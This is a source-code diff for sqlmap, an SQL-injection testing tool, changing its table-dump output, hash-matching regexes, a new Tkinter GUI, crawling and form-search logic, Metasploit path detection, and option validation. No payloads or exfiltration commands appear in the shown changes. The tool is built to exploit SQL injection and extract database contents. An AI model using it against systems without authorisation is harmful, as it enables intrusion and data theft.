         if isinstance(tableColumns, dict) and len(tableColumns) > 0:
             if conf.api:
                 self._write(tableColumns, content_type=content_type)
-                return
 
             for db, tables in tableColumns.items():
                 if not db:
@@ -354,7 +346,6 @@ class Dump(object):
         if isinstance(dbTables, dict) and len(dbTables) > 0:
             if conf.api:
                 self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
-                return
 
             maxlength1 = len("Table")
             maxlength2 = len("Entries")
@@ -362,7 +353,7 @@ class Dump(object):
             for ctables in dbTables.values():
                 for tables in ctables.values():
                     for table in tables:
-                        maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table)))
+                        maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table)))
 
             for db, counts in dbTables.items():
                 self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
@@ -388,7 +379,7 @@ class Dump(object):
                     tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
                     for table in tables:
-                        blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table)))
+                        blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table)))
                         blank2 = " " * (maxlength2 - len(str(count)))
                         self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
 
@@ -413,7 +404,6 @@ class Dump(object):
 
         if conf.api:
             self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
-            return
 
         dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
 
@@ -548,7 +538,7 @@ class Dump(object):
 
                 column = unsafeSQLIdentificatorNaming(column)
                 maxlength = int(info["length"])
-                blank = " " * (maxlength - len(column))
+                blank = " " * (maxlength - getConsoleLength(column))
 
                 self._write("| %s%s" % (column, blank), newline=False)
 
@@ -559,7 +549,7 @@ class Dump(object):
                         else:
                             dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
                     elif conf.dumpFormat == DUMP_FORMAT.HTML:
-                        dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace")))
+                        dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
 
                 field += 1
 
@@ -603,7 +593,7 @@ class Dump(object):
 
                     values.append(value)
                     maxlength = int(info["length"])
-                    blank = " " * (maxlength - len(value))
+                    blank = " " * (maxlength - getConsoleLength(value))
                     self._write("| %s%s" % (value, blank), newline=False, console=console)
 
                     if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
@@ -618,9 +608,10 @@ class Dump(object):
                                 warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                                 logger.warn(warnMsg)
 
-                                with open(filepath, "wb") as f:
+                                with openFile(filepath, "w+b", None) as f:
                                     _ = safechardecode(value, True)
                                     f.write(_)
+
                         except magic.MagicException as ex:
                             logger.debug(getSafeExString(ex))
 
@@ -630,7 +621,7 @@ class Dump(object):
                         else:
                             dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
                     elif conf.dumpFormat == DUMP_FORMAT.HTML:
-                        dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace")))
+                        dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
 
                     field += 1
 
@@ -668,7 +659,6 @@ class Dump(object):
     def dbColumns(self, dbColumnsDict, colConsider, dbs):
         if conf.api:
             self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
-            return
 
         for column in dbColumnsDict.keys():
             if colConsider == "1":
@@ -676,28 +666,28 @@ class Dump(object):
             else:
                 colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column)
 
-            msg = "column%s found in the " % colConsiderStr
-            msg += "following databases:"
-            self._write(msg)
-
-            _ = {}
-
+            found = {}
             for db, tblData in dbs.items():
                 for tbl, colData in tblData.items():
                     for col, dataType in colData.items():
                         if column.lower() in col.lower():
-                            if db in _:
-                                if tbl in _[db]:
-                                    _[db][tbl][col] = dataType
+                            if db in found:
+                                if tbl in found[db]:
+                                    found[db][tbl][col] = dataType
                                 else:
-                                    _[db][tbl] = {col: dataType}
+                                    found[db][tbl] = {col: dataType}
                             else:
-                                _[db] = {}
-                                _[db][tbl] = {col: dataType}
+                                found[db] = {}
+                                found[db][tbl] = {col: dataType}
 
                             continue
 
-            self.dbTableColumns(_)
+            if found:
+                msg = "column%s found in the " % colConsiderStr
+                msg += "following databases:"
+                self._write(msg)
+
+                self.dbTableColumns(found)
 
     def sqlQuery(self, query, queryRes):
         self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY)

lib/core/enums.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -130,12 +130,12 @@ class HASH(object):
     MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
     ORACLE = r'(?i)\As:[0-9a-f]{60}\Z'
     ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z'
-    MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z'
-    SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z'
+    MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z'
+    SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z'
     SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z'
-    SHA256_GENERIC = r'(?i)\A[0-9a-f]{64}\Z'
+    SHA256_GENERIC = r'(?i)\A(0x)?[0-9a-f]{64}\Z'
     SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
-    SHA512_GENERIC = r'(?i)\A[0-9a-f]{128}\Z'
+    SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
     CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
     JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
     WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
@@ -244,8 +244,8 @@ class HASHDB_KEYS(object):
     OS = "OS"
 
 class REDIRECTION(object):
-    YES = "Y"
-    NO = "N"
+    YES = 'Y'
+    NO = 'N'
 
 class PAYLOAD(object):
     SQLINJECTION = {

lib/core/exception.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/gui.py

@@ -0,0 +1,274 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import os
+import re
+import socket
+import subprocess
+import sys
+import tempfile
+import threading
+import webbrowser
+
+from lib.core.common import getSafeExString
+from lib.core.common import saveConfig
+from lib.core.data import paths
+from lib.core.defaults import defaults
+from lib.core.enums import MKSTEMP_PREFIX
+from lib.core.exception import SqlmapMissingDependence
+from lib.core.settings import DEV_EMAIL_ADDRESS
+from lib.core.settings import IS_WIN
+from lib.core.settings import ISSUES_PAGE
+from lib.core.settings import GIT_PAGE
+from lib.core.settings import SITE
+from lib.core.settings import VERSION_STRING
+from lib.core.settings import WIKI_PAGE
+from thirdparty.six.moves import queue as _queue
+
+line = ""
+process = None
+queue = None
+
+def runGui(parser):
+    try:
+        from thirdparty.six.moves import tkinter as _tkinter
+        from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext
+        from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk
+        from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
+    except ImportError as ex:
+        raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex))
+
+    # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
+    class ConstrainedEntry(_tkinter.Entry):
+        def __init__(self, master=None, **kwargs):
+            self.var = _tkinter.StringVar()
+            self.regex = kwargs["regex"]
+            del kwargs["regex"]
+            _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
+            self.old_value = ''
+            self.var.trace('w', self.check)
+            self.get, self.set = self.var.get, self.var.set
+
+        def check(self, *args):
+            if re.search(self.regex, self.get()):
+                self.old_value = self.get()
+            else:
+                self.set(self.old_value)
+
+    # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
+    class AutoresizableNotebook(_tkinter_ttk.Notebook):
+        def __init__(self, master=None, **kw):
+            _tkinter_ttk.Notebook.__init__(self, master, **kw)
+            self.bind("<<NotebookTabChanged>>", self._on_tab_changed)
+
+        def _on_tab_changed(self, event):
+            event.widget.update_idletasks()
+
+            tab = event.widget.nametowidget(event.widget.select())
+            event.widget.configure(height=tab.winfo_reqheight())
+
+    window = _tkinter.Tk()
+    window.title(VERSION_STRING)
+
+    # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
+    style = _tkinter_ttk.Style()
+    settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
+    style.theme_create("custom", parent="alt", settings=settings)
+    style.theme_use("custom")
+
+    # Reference: https://stackoverflow.com/a/10018670
+    def center(window):
+        window.update_idletasks()
+        width = window.winfo_width()
+        frm_width = window.winfo_rootx() - window.winfo_x()
+        win_width = width + 2 * frm_width
+        height = window.winfo_height()
+        titlebar_height = window.winfo_rooty() - window.winfo_y()
+        win_height = height + titlebar_height + frm_width
+        x = window.winfo_screenwidth() // 2 - win_width // 2
+        y = window.winfo_screenheight() // 2 - win_height // 2
+        window.geometry('{}x{}+{}+{}'.format(width, height, x, y))
+        window.deiconify()
+
+    def onKeyPress(event):
+        global line
+        global queue
+
+        if process:
+            if event.char == '\b':
+                line = line[:-1]
+            else:
+                line += event.char
+
+    def onReturnPress(event):
+        global line
+        global queue
+
+        if process:
+            try:
+                process.stdin.write(("%s\n" % line.strip()).encode())
+                process.stdin.flush()
+            except socket.error:
+                line = ""
+                event.widget.master.master.destroy()
+                return "break"
+            except:
+                return
+
+            event.widget.insert(_tkinter.END, "\n")
+
+            return "break"
+
+    def run():
+        global alive
+        global process
+        global queue
+
+        config = {}
+
+        for key in window._widgets:
+            dest, type = key
+            widget = window._widgets[key]
+
+            if hasattr(widget, "get") and not widget.get():
+                value = None
+            elif type == "string":
+                value = widget.get()
+            elif type == "float":
+                value = float(widget.get())
+            elif type == "int":
+                value = int(widget.get())
+            else:
+                value = bool(widget.var.get())
+
+            config[dest] = value
+
+        for option in parser.option_list:
+            config[option.dest] = defaults.get(option.dest, None)
+
+        handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
+        os.close(handle)
+
+        saveConfig(config, configFile)
+
+        def enqueue(stream, queue):
+            global alive
+
+            for line in iter(stream.readline, b''):
+                queue.put(line)
+
+            alive = False
+            stream.close()
+
+        alive = True
+
+        process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN)
+
+        # Reference: https://stackoverflow.com/a/4896288
+        queue = _queue.Queue()
+        thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
+        thread.daemon = True
+        thread.start()
+
+        top = _tkinter.Toplevel()
+        top.title("Console")
+
+        # Reference: https://stackoverflow.com/a/13833338
+        text = _tkinter_scrolledtext.ScrolledText(top, undo=True)
+        text.bind("<Key>", onKeyPress)
+        text.bind("<Return>", onReturnPress)
+        text.pack()
+        text.focus()
+
+        center(top)
+
+        while alive:
+            line = ""
+            try:
+                # line = queue.get_nowait()
+                line = queue.get(timeout=.1)
+                text.insert(_tkinter.END, line)
+            except _queue.Empty:
+                text.see(_tkinter.END)
+                text.update_idletasks()
+
+    menubar = _tkinter.Menu(window)
+
+    filemenu = _tkinter.Menu(menubar, tearoff=0)
+    filemenu.add_command(label="Open", state=_tkinter.DISABLED)
+    filemenu.add_command(label="Save", state=_tkinter.DISABLED)
+    filemenu.add_separator()
+    filemenu.add_command(label="Exit", command=window.quit)
+    menubar.add_cascade(label="File", menu=filemenu)
+
+    menubar.add_command(label="Run", command=run)
+
+    helpmenu = _tkinter.Menu(menubar, tearoff=0)
+    helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
+    helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
+    helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
+    helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
+    helpmenu.add_separator()
+    helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2020\n\n    (%s)" % DEV_EMAIL_ADDRESS))
+    menubar.add_cascade(label="Help", menu=helpmenu)
+
+    window.config(menu=menubar)
+    window._widgets = {}
+
+    notebook = AutoresizableNotebook(window)
+
+    first = None
+    frames = {}
+
+    for group in parser.option_groups:
+        frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200)
+        notebook.add(frames[group.title], text=group.title)
+
+        _tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W)
+
+        row = 1
+        if group.get_description():
+            _tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W)
+            _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W)
+            row += 2
+
+        for option in group.option_list:
+            _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W)
+
+            if option.type == "string":
+                widget = _tkinter.Entry(frame)
+            elif option.type == "float":
+                widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
+            elif option.type == "int":
+                widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
+            else:
+                var = _tkinter.IntVar()
+                widget = _tkinter.Checkbutton(frame, variable=var)
+                widget.var = var
+
+            first = first or widget
+            widget.grid(column=1, row=row, sticky=_tkinter.W)
+
+            window._widgets[(option.dest, option.type)] = widget
+
+            default = defaults.get(option.dest)
+            if default:
+                if hasattr(widget, "insert"):
+                    widget.insert(0, default)
+
+            _tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W)
+
+            row += 1
+
+        _tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W)
+
+    notebook.pack(expand=1, fill="both")
+    notebook.enable_traversal()
+
+    first.focus()
+
+    window.mainloop()

lib/core/log.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/option.py

@@ -1,10 +1,13 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
+import codecs
 import functools
 import glob
 import inspect
@@ -24,8 +27,6 @@ from lib.core.common import boldifyMessage
 from lib.core.common import checkFile
 from lib.core.common import dataToStdout
 from lib.core.common import decodeStringEscape
-from lib.core.common import getPublicTypeMembers
-from lib.core.common import getSafeExString
 from lib.core.common import fetchRandomAgent
 from lib.core.common import filterNone
 from lib.core.common import findLocalPort
@@ -33,6 +34,8 @@ from lib.core.common import findPageForms
 from lib.core.common import getConsoleWidth
 from lib.core.common import getFileItems
 from lib.core.common import getFileType
+from lib.core.common import getPublicTypeMembers
+from lib.core.common import getSafeExString
 from lib.core.common import intersect
 from lib.core.common import normalizePath
 from lib.core.common import ntToPosixSlashes
@@ -96,6 +99,7 @@ from lib.core.exception import SqlmapSyntaxException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.exception import SqlmapValueException
 from lib.core.log import FORMATTER
 from lib.core.optiondict import optDict
 from lib.core.settings import CODECS_LIST_PAGE
@@ -107,6 +111,7 @@ from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
 from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
 from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import DUMMY_URL
+from lib.core.settings import IGNORE_CODE_WILDCARD
 from lib.core.settings import IS_WIN
 from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
 from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -130,21 +135,20 @@ from lib.core.update import update
 from lib.parse.configfile import configFileParser
 from lib.parse.payloads import loadBoundaries
 from lib.parse.payloads import loadPayloads
-from lib.parse.sitemap import parseSitemap
 from lib.request.basic import checkCharEncoding
-from lib.request.connect import Connect as Request
-from lib.request.dns import DNSServer
 from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
 from lib.request.chunkedhandler import ChunkedHandler
+from lib.request.connect import Connect as Request
+from lib.request.dns import DNSServer
 from lib.request.httpshandler import HTTPSHandler
 from lib.request.pkihandler import HTTPSPKIAuthHandler
 from lib.request.rangehandler import HTTPRangeHandler
 from lib.request.redirecthandler import SmartRedirectHandler
-from lib.utils.har import HTTPCollectorFactory
 from lib.utils.crawler import crawl
 from lib.utils.deps import checkDependencies
-from lib.utils.search import search
+from lib.utils.har import HTTPCollectorFactory
 from lib.utils.purge import purge
+from lib.utils.search import search
 from thirdparty import six
 from thirdparty.keepalive import keepalive
 from thirdparty.multipart import multipartpost
@@ -291,6 +295,7 @@ def _setRequestFromFile():
     if conf.requestFile:
         for requestFile in re.split(PARAMETER_SPLITTING_REGEX, conf.requestFile):
             requestFile = safeExpandUser(requestFile)
+            url = None
             seen = set()
 
             if not checkFile(requestFile, False):
@@ -309,6 +314,11 @@ def _setRequestFromFile():
                         conf.multipleTargets = True
                     seen.add(url)
 
+            if url is None:
+                errMsg = "specified file '%s' " % requestFile
+                errMsg += "does not contain a usable HTTP request (with parameters)"
+                raise SqlmapDataException(errMsg)
+
     if conf.secondReq:
         conf.secondReq = safeExpandUser(conf.secondReq)
 
@@ -327,24 +337,12 @@ def _setCrawler():
     if not conf.crawlDepth:
         return
 
-    if not any((conf.bulkFile, conf.sitemapUrl)):
-        crawl(conf.url)
-    else:
-        if conf.bulkFile:
-            targets = getFileItems(conf.bulkFile)
-        else:
-            targets = parseSitemap(conf.sitemapUrl)
-        for i in xrange(len(targets)):
-            try:
-                target = targets[i]
-                crawl(target)
-
-                if conf.verbose in (1, 2):
-                    status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets)))
-                    dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
-            except Exception as ex:
-                errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex))
-                logger.error(errMsg)
+    if not conf.bulkFile:
+        if conf.url:
+            crawl(conf.url)
+        elif conf.requestFile and kb.targets:
+            target = list(kb.targets)[0]
+            crawl(target[0], target[2], target[3])
 
 def _doSearch():
     """
@@ -382,7 +380,7 @@ def _doSearch():
         links = retrieve()
 
         if kb.targets:
-            infoMsg = "sqlmap got %d results for your " % len(links)
+            infoMsg = "found %d results for your " % len(links)
             infoMsg += "search dork expression, "
 
             if len(links) == len(kb.targets):
@@ -395,7 +393,7 @@ def _doSearch():
             break
 
         else:
-            message = "sqlmap got %d results " % len(links)
+            message = "found %d results " % len(links)
             message += "for your search dork expression, but none of them "
             message += "have GET parameters to test for SQL injection. "
             message += "Do you want to skip to the next result page? [Y/n]"
@@ -429,23 +427,6 @@ def _setBulkMultipleTargets():
         warnMsg = "no usable links found (with GET parameters)"
         logger.warn(warnMsg)
 
-def _setSitemapTargets():
-    if not conf.sitemapUrl:
-        return
-
-    infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl
-    logger.info(infoMsg)
-
-    found = False
-    for item in parseSitemap(conf.sitemapUrl):
-        if re.match(r"[^ ]+\?(.+)", item, re.I):
-            found = True
-            kb.targets.add((item.strip(), None, None, None, None))
-
-    if not found and not conf.forms and not conf.crawlDepth:
-        warnMsg = "no usable links found (with GET parameters)"
-        logger.warn(warnMsg)
-
 def _findPageForms():
     if not conf.forms or conf.crawlDepth:
         return
@@ -453,25 +434,33 @@ def _findPageForms():
     if conf.url and not checkConnection():
         return
 
+    found = False
     infoMsg = "searching for forms"
     logger.info(infoMsg)
 
-    if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)):
-        page, _, _ = Request.queryPage(content=True)
-        findPageForms(page, conf.url, True, True)
+    if not any((conf.bulkFile, conf.googleDork)):
+        page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True)
+        if findPageForms(page, conf.url, True, True):
+            found = True
     else:
         if conf.bulkFile:
             targets = getFileItems(conf.bulkFile)
-        elif conf.sitemapUrl:
-            targets = parseSitemap(conf.sitemapUrl)
         elif conf.googleDork:
             targets = [_[0] for _ in kb.targets]
             kb.targets.clear()
+        else:
+            targets = []
+
         for i in xrange(len(targets)):
             try:
-                target = targets[i]
+                target = targets[i].strip()
+
+                if not re.search(r"(?i)\Ahttp[s]*://", target):
+                    target = "http://%s" % target
+
                 page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False)
-                findPageForms(page, target, False, True)
+                if findPageForms(page, target, False, True):
+                    found = True
 
                 if conf.verbose in (1, 2):
                     status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets)))
@@ -482,6 +471,10 @@ def _findPageForms():
                 errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex))
                 logger.error(errMsg)
 
+    if not found:
+        warnMsg = "no forms found"
+        logger.warn(warnMsg)
+
 def _setDBMSAuthentication():
     """
     Check and set the DBMS authentication credentials to run statements as
@@ -520,26 +513,14 @@ def _setMetasploit():
             errMsg = "sqlmap requires third-party module 'pywin32' "
             errMsg += "in order to use Metasploit functionalities on "
             errMsg += "Windows. You can download it from "
-            errMsg += "'https://sourceforge.net/projects/pywin32/files/pywin32/'"
+            errMsg += "'https://github.com/mhammond/pywin32'"
             raise SqlmapMissingDependence(errMsg)
 
         if not conf.msfPath:
-            def _(key, value):
-                retVal = None
-
-                try:
-                    from six.moves.winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
-                    _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
-                    _ = OpenKey(_, key)
-                    retVal = QueryValueEx(_, value)[0]
-                except:
-                    logger.debug("unable to identify Metasploit installation path via registry key")
-
-                return retVal
-
-            conf.msfPath = _(r"SOFTWARE\Rapid7\Metasploit", "Location")
-            if conf.msfPath:
-                conf.msfPath = os.path.join(conf.msfPath, "msf3")
+            for candidate in os.environ.get("PATH", "").split(';'):
+                if all(_ in candidate for _ in ("metasploit", "bin")):
+                    conf.msfPath = os.path.dirname(candidate.rstrip('\\'))
+                    break
 
     if conf.osSmb:
         isAdmin = runningAsAdmin()
@@ -660,10 +641,10 @@ def _setTechnique():
     validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1])
     validLetters = [_[0][0].upper() for _ in validTechniques]
 
-    if conf.tech and isinstance(conf.tech, six.string_types):
+    if conf.technique and isinstance(conf.technique, six.string_types):
         _ = []
 
-        for letter in conf.tech.upper():
+        for letter in conf.technique.upper():
             if letter not in validLetters:
                 errMsg = "value for --technique must be a string composed "
                 errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters)
@@ -675,7 +656,7 @@ def _setTechnique():
                     _.append(validInt)
                     break
 
-        conf.tech = _
+        conf.technique = _
 
 def _setDBMS():
     """
@@ -1014,7 +995,7 @@ def _setHTTPHandlers():
                 errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
                 raise SqlmapSyntaxException(errMsg)
 
-            hostnamePort = _.netloc.split(":")
+            hostnamePort = _.netloc.rsplit(":", 1)
 
             scheme = _.scheme.upper()
             hostname = hostnamePort[0]
@@ -1151,13 +1132,13 @@ def _setSafeVisit():
             errMsg = "invalid format of a safe request file"
             raise SqlmapSyntaxException(errMsg)
     else:
-        if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
+        if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl):
             if ":443/" in conf.safeUrl:
-                conf.safeUrl = "https://" + conf.safeUrl
+                conf.safeUrl = "https://%s" % conf.safeUrl
             else:
-                conf.safeUrl = "http://" + conf.safeUrl
+                conf.safeUrl = "http://%s" % conf.safeUrl
 
-    if conf.safeFreq <= 0:
+    if (conf.safeFreq or 0) <= 0:
         errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
         raise SqlmapSyntaxException(errMsg)
 
@@ -1220,7 +1201,7 @@ def _setHTTPAuthentication():
 
     elif not conf.authType and conf.authCred:
         errMsg = "you specified the HTTP authentication credentials, "
-        errMsg += "but did not provide the type"
+        errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
         raise SqlmapSyntaxException(errMsg)
 
     elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
@@ -1270,8 +1251,8 @@ def _setHTTPAuthentication():
                 from ntlm import HTTPNtlmAuthHandler
             except ImportError:
                 errMsg = "sqlmap requires Python NTLM third-party library "
-                errMsg += "in order to authenticate via NTLM, "
-                errMsg += "https://github.com/mullender/python-ntlm"
+                errMsg += "in order to authenticate via NTLM. Download from "
+                errMsg += "'https://github.com/mullender/python-ntlm'"
                 raise SqlmapMissingDependence(errMsg)
 
             authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
@@ -1299,6 +1280,9 @@ def _setHTTPExtraHeaders():
 
                 if header and value:
                     conf.httpHeaders.append((header, value))
+            elif headerValue.startswith('@'):
+                checkFile(headerValue[1:])
+                kb.headersFile = headerValue[1:]
             else:
                 errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u')
                 raise SqlmapSyntaxException(errMsg)
@@ -1436,7 +1420,10 @@ def _setHTTPTimeout():
     else:
         conf.timeout = 30.0
 
-    socket.setdefaulttimeout(conf.timeout)
+    try:
+        socket.setdefaulttimeout(conf.timeout)
+    except OverflowError as ex:
+        raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex))
 
 def _checkDependencies():
     """
@@ -1451,6 +1438,9 @@ def _createHomeDirectories():
     Creates directories inside sqlmap's home directory
     """
 
+    if conf.get("purge"):
+        return
+
     for context in "output", "history":
         directory = paths["SQLMAP_%s_PATH" % context.upper()]
         try:
@@ -1461,7 +1451,7 @@ def _createHomeDirectories():
             open(_, "w+b").close()
             os.remove(_)
 
-            if conf.outputDir and context == "output":
+            if conf.get("outputDir") and context == "output":
                 warnMsg = "using '%s' as the %s directory" % (directory, context)
                 logger.warn(warnMsg)
         except (OSError, IOError) as ex:
@@ -1535,6 +1525,13 @@ def _cleanupOptions():
     Cleanup configuration attributes.
     """
 
+    if conf.encoding:
+        try:
+            codecs.lookup(conf.encoding)
+        except LookupError:
+            errMsg = "unknown encoding '%s'" % conf.encoding
+            raise SqlmapValueException(errMsg)
+
     debugMsg = "cleaning up configuration parameters"
     logger.debug(debugMsg)
 
@@ -1555,6 +1552,18 @@ def _cleanupOptions():
     else:
         conf.testParameter = []
 
+    if conf.ignoreCode:
+        if conf.ignoreCode == IGNORE_CODE_WILDCARD:
+            conf.ignoreCode = xrange(0, 1000)
+        else:
+            try:
+                conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
+            except ValueError:
+                errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
+                raise SqlmapSyntaxException(errMsg)
+    else:
+        conf.ignoreCode = []
+
     if conf.paramFilter:
         conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())]
     else:
@@ -1574,8 +1583,19 @@ def _cleanupOptions():
         conf.user = conf.user.replace(" ", "")
 
     if conf.rParam:
-        conf.rParam = conf.rParam.replace(" ", "")
-        conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam)
+        if all(_ in conf.rParam for _ in ('=', ',')):
+            original = conf.rParam
+            conf.rParam = []
+            for part in original.split(';'):
+                if '=' in part:
+                    left, right = part.split('=', 1)
+                    conf.rParam.append(left)
+                    kb.randomPool[left] = filterNone(_.strip() for _ in right.split(','))
+                else:
+                    conf.rParam.append(part)
+        else:
+            conf.rParam = conf.rParam.replace(" ", "")
+            conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam)
     else:
         conf.rParam = []
 
@@ -1595,7 +1615,7 @@ def _cleanupOptions():
         conf.delay = float(conf.delay)
 
     if conf.url:
-        conf.url = conf.url.strip()
+        conf.url = conf.url.strip().lstrip('/')
